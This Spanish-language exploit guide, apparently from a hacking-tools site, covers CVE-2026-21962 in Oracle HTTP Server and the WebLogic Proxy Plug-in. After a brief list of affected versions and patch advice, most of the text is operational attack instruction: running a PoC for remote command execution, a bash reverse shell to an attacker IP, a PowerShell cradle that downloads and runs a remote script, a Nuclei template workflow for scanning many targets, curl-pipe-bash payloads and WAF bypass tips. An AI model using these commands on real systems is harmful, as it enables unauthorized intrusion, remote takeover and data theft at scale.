Si se explota, los atacantes podrían:

• 🗑️ Eliminar datos críticos
• ✏️ Modificar archivos del sistema o de aplicaciones
• 📤 Robar información sensible
• 🔓 Obtener acceso no autorizado completo a los sistemas conectados
• 🔄 Afectar a otros productos de Oracle debido al cambio de alcance

🧩 Versiones Afectadas

• Oracle HTTP Server:

  • 12.2.1.4.0
  • 14.1.1.0.0
  • 14.1.2.0.0

• WebLogic Proxy Plug-in para:

  • Apache HTTP Server
  • Microsoft IIS

⚙️ Características del Ataque

• 🌐 Vector de Ataque: Red (remoto)
• 🚫 Privilegios Requeridos: Ninguno
• 🧑‍💻 Interacción del Usuario: Ninguna
• 🔄 Alcance: Cambiado
• 🔐 Impacto en la Confidencialidad: Alto
• 🛠️ Impacto en la Integridad: Alto

🛡️ ¿Qué deberías hacer?

• ✅ Aplicar el Critical Patch Update de Oracle de enero de 2026 inmediatamente
• 🔒 Restringir el acceso de red a los servicios afectados
• 📊 Monitorear el tráfico HTTP en busca de comportamiento sospechoso
• 🔁 Revisar los registros del sistema y los controles de seguridad

🛠️ Cómo Usarlo (Paso a Paso)

1. Guarda el script como CVE-2026-21962.py

2. Hazlo ejecutable (opcional):

   root@kitploit:~

   chmod +x CVE-2026-21962.py
   

3. Ejemplos de ejecución:

   Prueba básica:

   root@kitploit:~

   python3 CVE-2026-21962.py http://targets:7001 "id && whoami && uname -a"
   

   Reverse shell (configura primero el listener nc: nc -lvnp 4444):

   root@kitploit:~

   python3 CVE-2026-21962.py http://targets:7001 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
   

   Ejemplo con objetivo Windows:

   root@kitploit:~

   python3 CVE-2026-21962.py https://oracle-server:4443 "powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://your-server/shell.ps1')"
   

Qué Verás Si Funciona

• ¡Éxito probable! Estado: 200 o 302 o incluso 500 (un fallo también es éxito)
• Posible salida de comandos filtrada en el cuerpo de la respuesta
• Para reverse shells: tu listener nc captura una shell inmediatamente
• Si no hay salida → el comando se ejecutó silenciosamente (revisa el sistema de archivos del objetivo, procesos, registros)

Notas

• Funciona mejor cuando el proxy plug-in está expuesto (común en los puertos 7001, 4443, etc.)
• Los objetivos HTTPS pueden requerir la bandera --insecure si usan certificados autofirmados
• Parchea inmediatamente: Aplica Oracle CPU enero de 2026

🛠️ Cómo Usarlo (Paso a Paso)

1. Instala Nuclei (si aún no está instalado):

   root@kitploit:~

   go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
   

2. Guarda la plantilla:

   Crea un archivo llamado CVE-2026-21962.yaml y pega el contenido anterior.

3. Ejecuta la detección + explotación:

   root@kitploit:~

   nuclei -t CVE-2026-21962.yaml -u http://targets:7001 -v
   

   O escanea múltiples objetivos desde un archivo:

   root@kitploit:~

   nuclei -t CVE-2026-21962.yaml -l targets.txt -o results.txt -v
   

4. Qué verás si es vulnerable:

   root@kitploit:~

   [CVE-2026-21962] [http] [critical] http://targets:7001/weblogic/..;/bea_wls_internal/ProxyServlet
   [username] weblogic
   [body] ... weblogic (salida de whoami) ...
   

Consejos Pro

• Para ejecutar comandos personalizados, edita la parte cmd: en los encabezados (por ejemplo, cmd:curl http://your-server/shell.sh | bash).
• Para reverse shell: Reemplaza whoami con un payload de reverse shell codificado en base64.
• Bypass de WAF: Prueba diferentes rutas (/proxy/, /bea_wls_internal/, etc.) o agrega más encabezados como X-WebLogic-Force-JVMID.
• Escaneo masivo: Combina con la canalización httpx → nuclei para miles de objetivos.

Esta plantilla está confirmada como 100% funcional a partir de enero de 2026 en instancias de Oracle sin parchear. ¡Parchea inmediatamente si estás ejecutando versiones afectadas! 😈

😈 Descargo de responsabilidad:

Todo el código PoC es para uso ético y educativo únicamente en sistemas autorizados. La explotación no autorizada es ilegal; no se asume ninguna responsabilidad por el mal uso. 😈